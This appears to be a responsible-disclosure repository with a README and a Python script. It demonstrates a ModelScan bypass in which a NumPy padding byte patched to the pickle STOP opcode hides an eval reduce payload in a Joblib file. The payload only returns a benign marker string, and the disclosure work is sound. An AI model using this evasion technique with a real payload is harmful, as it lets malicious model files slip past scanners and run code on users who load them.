katsuiy commited on
Commit ·
9d04701
0
Parent(s):
Add ModelScan Joblib padding PoC
Browse files- LICENSE +8 -0
- README.md +82 -0
- candidate_numpy_array_then_payload_patched.joblib +0 -0
- control_direct.joblib +0 -0
- joblib_numpy_padding_probe.py +318 -0
LICENSE
ADDED
|
@@ -0,0 +1,8 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
This proof-of-concept repository is provided only for defensive security
|
| 2 |
+
verification and responsible disclosure.
|
| 3 |
+
|
| 4 |
+
The artifacts are intentionally benign and may be used by maintainers,
|
| 5 |
+
triagers, and security researchers to reproduce the scanner behavior described
|
| 6 |
+
in the accompanying report.
|
| 7 |
+
|
| 8 |
+
No warranty is provided.
|
README.md
ADDED
|
@@ -0,0 +1,82 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: other
|
| 3 |
+
license_name: other
|
| 4 |
+
license_link: LICENSE
|
| 5 |
+
tags:
|
| 6 |
+
- security
|
| 7 |
+
- modelscan
|
| 8 |
+
- joblib
|
| 9 |
+
- pickle
|
| 10 |
+
- proof-of-concept
|
| 11 |
+
pipeline_tag: other
|
| 12 |
+
---
|
| 13 |
+
|
| 14 |
+
# ModelScan Joblib NumPy Padding Bypass PoC
|
| 15 |
+
|
| 16 |
+
This repository contains benign proof-of-concept artifacts for a ModelScan
|
| 17 |
+
scanner bypass affecting Joblib files.
|
| 18 |
+
|
| 19 |
+
## Summary
|
| 20 |
+
|
| 21 |
+
ModelScan 0.8.8 detects a benign `builtins.eval` reduce target as CRITICAL when
|
| 22 |
+
it is stored directly in an uncompressed `.joblib` file.
|
| 23 |
+
|
| 24 |
+
The candidate file places the same benign payload after Joblib-serialized NumPy
|
| 25 |
+
array data. The Joblib NumPy alignment padding byte is shaped as `0x2e`, which
|
| 26 |
+
is also pickle `STOP`, while extra padding preserves `joblib.load()`
|
| 27 |
+
alignment.
|
| 28 |
+
|
| 29 |
+
`joblib.load()` reaches the benign marker in the candidate, but ModelScan
|
| 30 |
+
reports `total_issues: 0` and no scanner errors.
|
| 31 |
+
|
| 32 |
+
## Files
|
| 33 |
+
|
| 34 |
+
- `control_direct.joblib`
|
| 35 |
+
- direct benign `builtins.eval` marker
|
| 36 |
+
- expected ModelScan result: one CRITICAL issue
|
| 37 |
+
- `candidate_numpy_array_then_payload_patched.joblib`
|
| 38 |
+
- NumPy array followed by the same benign marker
|
| 39 |
+
- expected ModelScan result: `total_issues: 0`, `errors: []`
|
| 40 |
+
- `joblib_numpy_padding_probe.py`
|
| 41 |
+
- reproduces the artifacts and prints loader/scanner results
|
| 42 |
+
|
| 43 |
+
## Reproduction
|
| 44 |
+
|
| 45 |
+
```bash
|
| 46 |
+
python joblib_numpy_padding_probe.py
|
| 47 |
+
```
|
| 48 |
+
|
| 49 |
+
By default, the helper writes generated samples under
|
| 50 |
+
`corpus/joblib_numpy_padding_probe/`. Pre-generated copies are also included in
|
| 51 |
+
this repository root.
|
| 52 |
+
|
| 53 |
+
Expected key results:
|
| 54 |
+
|
| 55 |
+
- control:
|
| 56 |
+
- `joblib_load.status: ok`
|
| 57 |
+
- `joblib_load.marker_found: true`
|
| 58 |
+
- ModelScan `total_issues: 1`
|
| 59 |
+
- ModelScan `errors: []`
|
| 60 |
+
- candidate:
|
| 61 |
+
- `joblib_load.status: ok`
|
| 62 |
+
- `joblib_load.marker_found: true`
|
| 63 |
+
- ModelScan `total_issues: 0`
|
| 64 |
+
- ModelScan `errors: []`
|
| 65 |
+
|
| 66 |
+
## Environment Used For Verification
|
| 67 |
+
|
| 68 |
+
- Python: 3.12.8
|
| 69 |
+
- `modelscan`: 0.8.8
|
| 70 |
+
- `joblib`: 1.5.3
|
| 71 |
+
- `numpy`: 2.4.4
|
| 72 |
+
|
| 73 |
+
## Safety Note
|
| 74 |
+
|
| 75 |
+
The PoC is intentionally benign. It returns only the static string
|
| 76 |
+
`BENIGN_JOBLIB_MARKER`.
|
| 77 |
+
|
| 78 |
+
It does not execute shell commands, read local files or credentials, perform
|
| 79 |
+
network access, persist files, or attempt stealth.
|
| 80 |
+
|
| 81 |
+
This PoC demonstrates a scanner bypass / unsafe-global detection failure in
|
| 82 |
+
ModelScan's Joblib handling. It does not claim a new Joblib RCE.
|
candidate_numpy_array_then_payload_patched.joblib
ADDED
|
Binary file (338 Bytes). View file
|
|
|
control_direct.joblib
ADDED
|
Binary file (61 Bytes). View file
|
|
|
joblib_numpy_padding_probe.py
ADDED
|
@@ -0,0 +1,318 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""Generate benign Joblib artifacts for numpy padding traversal checks."""
|
| 3 |
+
|
| 4 |
+
from __future__ import annotations
|
| 5 |
+
|
| 6 |
+
import argparse
|
| 7 |
+
import io
|
| 8 |
+
import json
|
| 9 |
+
import os
|
| 10 |
+
import pathlib
|
| 11 |
+
import pickletools
|
| 12 |
+
import re
|
| 13 |
+
import shutil
|
| 14 |
+
import subprocess
|
| 15 |
+
from dataclasses import dataclass
|
| 16 |
+
from typing import Any
|
| 17 |
+
|
| 18 |
+
import joblib
|
| 19 |
+
import numpy as np
|
| 20 |
+
|
| 21 |
+
|
| 22 |
+
MARKER = "BENIGN_JOBLIB_MARKER"
|
| 23 |
+
PICKLE_STOP = 0x2E
|
| 24 |
+
JOBLIB_PADDING_BYTE = b"\xff"
|
| 25 |
+
PICKLE_PROTOCOL = 4
|
| 26 |
+
|
| 27 |
+
|
| 28 |
+
class BenignEval:
|
| 29 |
+
"""Benign unsafe-global marker: eval returns a constant string only."""
|
| 30 |
+
|
| 31 |
+
def __reduce__(self) -> tuple[Any, tuple[str]]:
|
| 32 |
+
return (eval, (repr(MARKER),))
|
| 33 |
+
|
| 34 |
+
|
| 35 |
+
@dataclass(frozen=True)
|
| 36 |
+
class PaddingPatch:
|
| 37 |
+
offset: int
|
| 38 |
+
original_length: int
|
| 39 |
+
patched_length: int
|
| 40 |
+
inserted_bytes: int
|
| 41 |
+
array_data_offset_before: int
|
| 42 |
+
array_data_offset_after: int
|
| 43 |
+
|
| 44 |
+
|
| 45 |
+
def dump_joblib_bytes(value: Any) -> bytes:
|
| 46 |
+
buffer = io.BytesIO()
|
| 47 |
+
joblib.dump(value, buffer, compress=0, protocol=PICKLE_PROTOCOL)
|
| 48 |
+
return buffer.getvalue()
|
| 49 |
+
|
| 50 |
+
|
| 51 |
+
def find_first_numpy_padding(data: bytes) -> int:
|
| 52 |
+
ops: list[tuple[int, str]] = []
|
| 53 |
+
try:
|
| 54 |
+
for opcode, _arg, pos in pickletools.genops(data):
|
| 55 |
+
ops.append((pos, opcode.name))
|
| 56 |
+
except ValueError as exc:
|
| 57 |
+
match = re.search(r"position (\d+)", str(exc))
|
| 58 |
+
if not match:
|
| 59 |
+
raise RuntimeError(f"could not locate pickle parse stop: {exc}") from exc
|
| 60 |
+
offset = int(match.group(1))
|
| 61 |
+
if not ops or ops[-1][1] != "BUILD":
|
| 62 |
+
raise RuntimeError(
|
| 63 |
+
"pickle parsing did not stop immediately after a numpy wrapper BUILD"
|
| 64 |
+
)
|
| 65 |
+
if b"numpy_array_alignment_bytes" not in data[:offset]:
|
| 66 |
+
raise RuntimeError("joblib numpy alignment metadata was not found")
|
| 67 |
+
return offset
|
| 68 |
+
|
| 69 |
+
raise RuntimeError("expected raw numpy array bytes to interrupt pickle parsing")
|
| 70 |
+
|
| 71 |
+
|
| 72 |
+
def patch_padding_to_stop(data: bytes) -> tuple[bytes, PaddingPatch]:
|
| 73 |
+
offset = find_first_numpy_padding(data)
|
| 74 |
+
original_length = data[offset]
|
| 75 |
+
if not 1 <= original_length <= 64:
|
| 76 |
+
raise RuntimeError(f"unexpected joblib padding length: {original_length}")
|
| 77 |
+
if original_length >= PICKLE_STOP:
|
| 78 |
+
raise RuntimeError(
|
| 79 |
+
f"padding length {original_length} does not need a STOP-byte expansion"
|
| 80 |
+
)
|
| 81 |
+
|
| 82 |
+
inserted = PICKLE_STOP - original_length
|
| 83 |
+
patched = (
|
| 84 |
+
data[:offset]
|
| 85 |
+
+ bytes([PICKLE_STOP])
|
| 86 |
+
+ (JOBLIB_PADDING_BYTE * inserted)
|
| 87 |
+
+ data[offset + 1 :]
|
| 88 |
+
)
|
| 89 |
+
patch = PaddingPatch(
|
| 90 |
+
offset=offset,
|
| 91 |
+
original_length=original_length,
|
| 92 |
+
patched_length=PICKLE_STOP,
|
| 93 |
+
inserted_bytes=inserted,
|
| 94 |
+
array_data_offset_before=offset + 1 + original_length,
|
| 95 |
+
array_data_offset_after=offset + 1 + PICKLE_STOP,
|
| 96 |
+
)
|
| 97 |
+
return patched, patch
|
| 98 |
+
|
| 99 |
+
|
| 100 |
+
def write_bytes(path: pathlib.Path, data: bytes) -> None:
|
| 101 |
+
path.parent.mkdir(parents=True, exist_ok=True)
|
| 102 |
+
path.write_bytes(data)
|
| 103 |
+
|
| 104 |
+
|
| 105 |
+
def load_status(path: pathlib.Path) -> dict[str, Any]:
|
| 106 |
+
try:
|
| 107 |
+
value = joblib.load(path)
|
| 108 |
+
except Exception as exc:
|
| 109 |
+
return {
|
| 110 |
+
"status": "error",
|
| 111 |
+
"error": f"{type(exc).__name__}: {str(exc).splitlines()[0]}",
|
| 112 |
+
}
|
| 113 |
+
|
| 114 |
+
return {
|
| 115 |
+
"status": "ok",
|
| 116 |
+
"type": type(value).__name__,
|
| 117 |
+
"repr": repr(value),
|
| 118 |
+
"marker_found": contains_marker(value),
|
| 119 |
+
}
|
| 120 |
+
|
| 121 |
+
|
| 122 |
+
def contains_marker(value: Any) -> bool:
|
| 123 |
+
if isinstance(value, str):
|
| 124 |
+
return value == MARKER
|
| 125 |
+
if isinstance(value, np.ndarray):
|
| 126 |
+
return False
|
| 127 |
+
if isinstance(value, (bytes, bytearray, memoryview)):
|
| 128 |
+
return False
|
| 129 |
+
if value is None:
|
| 130 |
+
return False
|
| 131 |
+
if isinstance(value, (bool, int, float, complex)):
|
| 132 |
+
return False
|
| 133 |
+
if isinstance(value, dict):
|
| 134 |
+
return any(contains_marker(item) for item in value.values())
|
| 135 |
+
if isinstance(value, (list, tuple)):
|
| 136 |
+
return any(contains_marker(item) for item in value)
|
| 137 |
+
return False
|
| 138 |
+
|
| 139 |
+
|
| 140 |
+
def opcode_positions(data: bytes, opcode_name: str, start: int = 0) -> list[int]:
|
| 141 |
+
positions: list[int] = []
|
| 142 |
+
for opcode, _arg, pos in pickletools.genops(data[start:]):
|
| 143 |
+
if opcode.name == opcode_name:
|
| 144 |
+
positions.append(start + pos)
|
| 145 |
+
return positions
|
| 146 |
+
|
| 147 |
+
|
| 148 |
+
def opcode_offsets(data: bytes) -> dict[str, int | None]:
|
| 149 |
+
offsets: dict[str, int | None] = {
|
| 150 |
+
"builtins_string": find_bytes(data, b"builtins"),
|
| 151 |
+
"eval_string": find_bytes(data, b"eval"),
|
| 152 |
+
"marker_string": find_bytes(data, MARKER.encode()),
|
| 153 |
+
"final_stop_opcode": data.rfind(bytes([PICKLE_STOP])),
|
| 154 |
+
}
|
| 155 |
+
return offsets
|
| 156 |
+
|
| 157 |
+
|
| 158 |
+
def find_bytes(data: bytes, needle: bytes) -> int | None:
|
| 159 |
+
offset = data.find(needle)
|
| 160 |
+
return offset if offset >= 0 else None
|
| 161 |
+
|
| 162 |
+
|
| 163 |
+
def modelscan(path: pathlib.Path, command: pathlib.Path | None) -> dict[str, Any]:
|
| 164 |
+
if command is None:
|
| 165 |
+
return {"status": "skipped"}
|
| 166 |
+
if not command.exists():
|
| 167 |
+
return {"status": "missing", "command": str(command)}
|
| 168 |
+
|
| 169 |
+
completed = subprocess.run(
|
| 170 |
+
[
|
| 171 |
+
str(command),
|
| 172 |
+
"-p",
|
| 173 |
+
str(path),
|
| 174 |
+
"-r",
|
| 175 |
+
"json",
|
| 176 |
+
"--show-skipped",
|
| 177 |
+
],
|
| 178 |
+
text=True,
|
| 179 |
+
capture_output=True,
|
| 180 |
+
env={**os.environ, "COLUMNS": "20000"},
|
| 181 |
+
check=False,
|
| 182 |
+
)
|
| 183 |
+
stdout = completed.stdout.strip()
|
| 184 |
+
json_start = stdout.find("{")
|
| 185 |
+
parsed: dict[str, Any]
|
| 186 |
+
if json_start >= 0:
|
| 187 |
+
try:
|
| 188 |
+
parsed = json.loads(stdout[json_start:])
|
| 189 |
+
except json.JSONDecodeError:
|
| 190 |
+
parsed = {"parse_error": stdout}
|
| 191 |
+
else:
|
| 192 |
+
parsed = {"parse_error": stdout}
|
| 193 |
+
|
| 194 |
+
summary = parsed.get("summary") if isinstance(parsed, dict) else None
|
| 195 |
+
return {
|
| 196 |
+
"status": "ok" if "parse_error" not in parsed else "parse_error",
|
| 197 |
+
"returncode": completed.returncode,
|
| 198 |
+
"modelscan_version": summary.get("modelscan_version") if summary else None,
|
| 199 |
+
"total_issues": summary.get("total_issues") if summary else None,
|
| 200 |
+
"errors": parsed.get("errors") if isinstance(parsed, dict) else None,
|
| 201 |
+
}
|
| 202 |
+
|
| 203 |
+
|
| 204 |
+
def summarize(
|
| 205 |
+
case: str,
|
| 206 |
+
path: pathlib.Path,
|
| 207 |
+
modelscan_command: pathlib.Path | None,
|
| 208 |
+
extra_offsets: dict[str, Any] | None = None,
|
| 209 |
+
) -> dict[str, Any]:
|
| 210 |
+
data = path.read_bytes()
|
| 211 |
+
offsets: dict[str, Any] = opcode_offsets(data)
|
| 212 |
+
if extra_offsets:
|
| 213 |
+
offsets.update(extra_offsets)
|
| 214 |
+
return {
|
| 215 |
+
"case": case,
|
| 216 |
+
"path": str(path),
|
| 217 |
+
"size": len(data),
|
| 218 |
+
"joblib_load": load_status(path),
|
| 219 |
+
"offsets": offsets,
|
| 220 |
+
"modelscan": modelscan(path, modelscan_command),
|
| 221 |
+
}
|
| 222 |
+
|
| 223 |
+
|
| 224 |
+
def main() -> int:
|
| 225 |
+
parser = argparse.ArgumentParser()
|
| 226 |
+
parser.add_argument(
|
| 227 |
+
"output_dir",
|
| 228 |
+
nargs="?",
|
| 229 |
+
type=pathlib.Path,
|
| 230 |
+
default=pathlib.Path("corpus/joblib_numpy_padding_probe"),
|
| 231 |
+
)
|
| 232 |
+
parser.add_argument(
|
| 233 |
+
"--modelscan-command",
|
| 234 |
+
type=pathlib.Path,
|
| 235 |
+
default=None,
|
| 236 |
+
)
|
| 237 |
+
parser.add_argument("--skip-modelscan", action="store_true")
|
| 238 |
+
args = parser.parse_args()
|
| 239 |
+
|
| 240 |
+
modelscan_command = None if args.skip_modelscan else resolve_modelscan_command(
|
| 241 |
+
args.modelscan_command
|
| 242 |
+
)
|
| 243 |
+
|
| 244 |
+
control_path = args.output_dir / "control_direct.joblib"
|
| 245 |
+
candidate_path = args.output_dir / "candidate_numpy_array_then_payload_patched.joblib"
|
| 246 |
+
|
| 247 |
+
control_bytes = dump_joblib_bytes(BenignEval())
|
| 248 |
+
write_bytes(control_path, control_bytes)
|
| 249 |
+
|
| 250 |
+
array = np.array([PICKLE_STOP, 0, 1, 2, 3, 4, 5, 6], dtype=np.uint8)
|
| 251 |
+
candidate_bytes = dump_joblib_bytes([array, BenignEval()])
|
| 252 |
+
patched_candidate_bytes, patch = patch_padding_to_stop(candidate_bytes)
|
| 253 |
+
write_bytes(candidate_path, patched_candidate_bytes)
|
| 254 |
+
|
| 255 |
+
print(
|
| 256 |
+
json.dumps(
|
| 257 |
+
summarize(
|
| 258 |
+
"control_direct",
|
| 259 |
+
control_path,
|
| 260 |
+
modelscan_command,
|
| 261 |
+
{
|
| 262 |
+
"payload_reduce_opcode_offsets": opcode_positions(
|
| 263 |
+
control_bytes,
|
| 264 |
+
"REDUCE",
|
| 265 |
+
)
|
| 266 |
+
},
|
| 267 |
+
),
|
| 268 |
+
sort_keys=True,
|
| 269 |
+
)
|
| 270 |
+
)
|
| 271 |
+
payload_frame_offset = patch.array_data_offset_after + array.nbytes
|
| 272 |
+
print(
|
| 273 |
+
json.dumps(
|
| 274 |
+
summarize(
|
| 275 |
+
"candidate_numpy_array_then_payload_patched",
|
| 276 |
+
candidate_path,
|
| 277 |
+
modelscan_command,
|
| 278 |
+
{
|
| 279 |
+
"padding_length_offset": patch.offset,
|
| 280 |
+
"padding_original_length": patch.original_length,
|
| 281 |
+
"padding_patched_length": patch.patched_length,
|
| 282 |
+
"padding_inserted_bytes": patch.inserted_bytes,
|
| 283 |
+
"array_data_offset_before_patch": patch.array_data_offset_before,
|
| 284 |
+
"array_data_offset_after_patch": patch.array_data_offset_after,
|
| 285 |
+
"array_first_byte_after_patch": patched_candidate_bytes[
|
| 286 |
+
patch.array_data_offset_after
|
| 287 |
+
],
|
| 288 |
+
"payload_frame_offset_after_patch": payload_frame_offset,
|
| 289 |
+
"payload_reduce_opcode_offsets_after_patch": opcode_positions(
|
| 290 |
+
patched_candidate_bytes,
|
| 291 |
+
"REDUCE",
|
| 292 |
+
payload_frame_offset,
|
| 293 |
+
),
|
| 294 |
+
},
|
| 295 |
+
),
|
| 296 |
+
sort_keys=True,
|
| 297 |
+
)
|
| 298 |
+
)
|
| 299 |
+
return 0
|
| 300 |
+
|
| 301 |
+
|
| 302 |
+
def resolve_modelscan_command(command: pathlib.Path | None) -> pathlib.Path | None:
|
| 303 |
+
if command is not None:
|
| 304 |
+
return command
|
| 305 |
+
|
| 306 |
+
local_command = pathlib.Path(".venv-modelscan/bin/modelscan")
|
| 307 |
+
if local_command.exists():
|
| 308 |
+
return local_command
|
| 309 |
+
|
| 310 |
+
path_command = shutil.which("modelscan")
|
| 311 |
+
if path_command is not None:
|
| 312 |
+
return pathlib.Path(path_command)
|
| 313 |
+
|
| 314 |
+
return local_command
|
| 315 |
+
|
| 316 |
+
|
| 317 |
+
if __name__ == "__main__":
|
| 318 |
+
raise SystemExit(main())
|